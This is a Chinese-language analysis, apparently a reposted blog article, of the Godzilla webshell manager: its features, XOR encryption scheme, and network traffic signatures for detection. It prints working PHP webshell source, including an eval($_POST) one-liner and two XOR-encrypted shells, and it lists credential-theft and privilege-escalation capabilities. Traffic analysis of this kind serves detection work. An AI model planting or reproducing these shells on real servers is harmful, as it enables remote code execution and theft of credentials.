哥斯拉(Godzilla)是由Java开发的一款Webshell管理工具,支持多种类型的Webshell,支持加通信流量加密。
哥斯拉v4.0.1:https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla
依赖环境:jdk1.8
哥斯拉支持jsp、php、aspx等多种载荷,PHP使用异或加密。java和c#的载荷原生实现AES加密。
哥斯拉主要功能
(1)MSF联动
(2)绕过OpenBasedir
(3)ZIP压缩 ZIP解压
(4)代码执行
(5)绕过 DisableFunctions
(6)Mimikatz
(7)读取服务器 FileZilla Navicat Sqlyog Winscp XMangager 的配置信息以及密码
(8)虚拟终端 可以用netcat连接
(9)Windows权限提升 (2012-2019烂土豆)
(10)读取服务器 谷歌 IE 火狐 浏览器保存的账号密码
(11)Windows权限提升烂土豆的C#版本 甜土豆
(12)支持 哥斯拉 冰蝎 菜刀 ReGeorg 的内存shell 并且支持卸载
(13)屏幕截图
(14)Servlet管理 Servlet卸载
(15)内存加载Jar 将Jar加载到 SystemClassLoader
哥斯拉流量特征
Accept 字段(弱特征)
JDK 引入的一个特征,并不是自定义的 Accept
cookie(强特征)
在请求包 cookie 中有一个非常明显的就是末尾带分号
响应体
从代码可以看到它是把一串 32 位的 md5 字符串等量拆分后分别放在 base64 编码的前后。总体的结构便为:前 16 位 md5+base64 编码 + 后 16 位 md5
jsp和php木马类似,jsp的木马流量同样进行三次请求,请求数据同样是加密的,响应包也有类似结构。同样存在Accept字段弱特征,和Cookie中最后会有个分号。这里主要分析php shell。
php shell
管理 -> 生成 -> 有效载荷PhpDynamicPayload
加密器分类
php加密原理
XOR:异或运算
定义:两个值相同时,返回false,否则返回true。也就是说,XOR可以用来判断两个值是否不同
二进制XOR运算符:^ 两个二进制位相同,就返回0,表示false;否则返回1,表示true
XOR:加密
加密原理:
1、将明文和密钥转换为二进制形式。
2、对每一位明文和密钥进行异或运算。异或运算的规则是:如果两个对应的位相同,则结果为0,如果不同则结果为1。
3、异或运算的结果即为密文。
解密原理:xOR加密对一个值连续做两次XOR,会返回这个值本身
对密文再次使用相同的密钥进行异或运算,即可得到之前的明文。
示例:
明文:1010 1100
密钥:1111 0000
加密过程:1010 1100 ⊕ 1111 0000 = 0101 1100 (密文)
解密过程:0101 1100 ⊕ 1111 0000 = 1010 1100 (明文)
加密器生成的 php shell
1、PHP_EVAL_XOR_BASE64 生成的shell:
<?php
eval($_POST["pass"]);
加密特点:
1、 请求包的密文形式:pass=evalContent&key=XXXXXXXX,其中pass是shell密码,key是shell密钥
2、 每个请求中的pass=evalContent都是相同的,evalContent是将shells/cryptions/phpXor/template/base64.bin文件内容经过编码得到的(先删除第1行的<?php,再将其中的{pass}替换为shell密码,将{secretKey}替换为shell密钥)
3、请求中的key=XXXXXXXX才是实际执行的shell操作,加密方法和PHP_XOR_BASE64加密shell的方式相同
2、PHP_XOR_BASE64 生成的shell:
哥斯拉将payload进行base64编码。还将编码后的内容做了字符反装。
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
#encode()函数用于对数据进行异或加密,待加密的数据$D和$K密钥。
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
#$pass: 密码参数的名称
$pass='pass';
#$payloadName: 有效载荷参数的名称
$payloadName='payload';
#$key: 密钥
$key='3c6e0b8a9c15224a';
#将接收到的pass经过Base64解码,然后使用密钥进行异或解密。判断是否设置有效载荷参,将载荷数据密钥解密,并检查是否包含字符串“getBasicsInfo”。如果不包含则再次对载荷数据进行解密,然后eval()函数执行解密后的Payload。
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
3、PHP_XOR_RAW 生成的shell:
和PHP_XOR_BASE64 生成的shell类似,不同点在于data数据读取的是php://input中的数据流,即读取http原始请求体中的数据流
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
分析PHP_EVAL_XOR_BASE64包:
点击测试连接得到三个包
第一个请求和响应包:
作用:发送payload,通过木马存入SESSION---响应包返回PHPSESSID
第一次请求的数据包通常要比后面两个数据包要大,而且第一个请求包的http响应体是空的:
第二个请求和响应包:
作用:调用payload中的test函数,如果有返回证明连接建立。
请求包中:key解密后为methhdName test,在payload释放后key中的信息在echo base64_encode(encode(@run($data),$key));
被传入了位于payload的run()函数
数据包会携带响应数据包设置的Cookie值,http响应体是一段相对固定长的串,长度为64个字节,可以分为前16字节,中间32字节,结尾16字节。
先调用findStr函数删除服务器响应数据左右附加的混淆字符串,然后将得到的数据进行base64解码,最后再和shell连接密钥md5值的前16位按位异或,即完成响应数据的解密。
第三个请求和响应包:
作用:调用了payload中的getBasicsInfo函数,用于读取服务器的详细信息,整理后返回。
请求包中:运行命令执行代码中的 methhdName getBasicsInfo函数得到的系统基本信息
由于哥斯拉对响应报文格式的设计,一个32位的md5字符串会被拆分为两部分,分别放在base64编码数据的前后,所以第三次响应包和第二次响应包的前16个字节和后16个字节是一样的。
基本上无论哥斯拉生成的什么语言的木马(php,asp,jsp,cs),连接时都是发送三个数据包,第一个数据包请求体明显大量,后两个明显较小,且第二个数据包返回内容为加密后的ok,第三个数据包返回内容为目标的基本环境信息。
在哥斯拉流量中除了xor_raw加密方式(该方式流量中全是乱码),基本上都会呈现出形如pass=WwSelqL9JENiXyh3的格式,该格式下参数名为生成木马时设置的pass。xor_raw外的一些加密方式(eval_base64)会在流量中看出eval和base64加密函数。
原文始发于微信公众号(红队蓝军):webshell工具--Godzilla加密流量分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论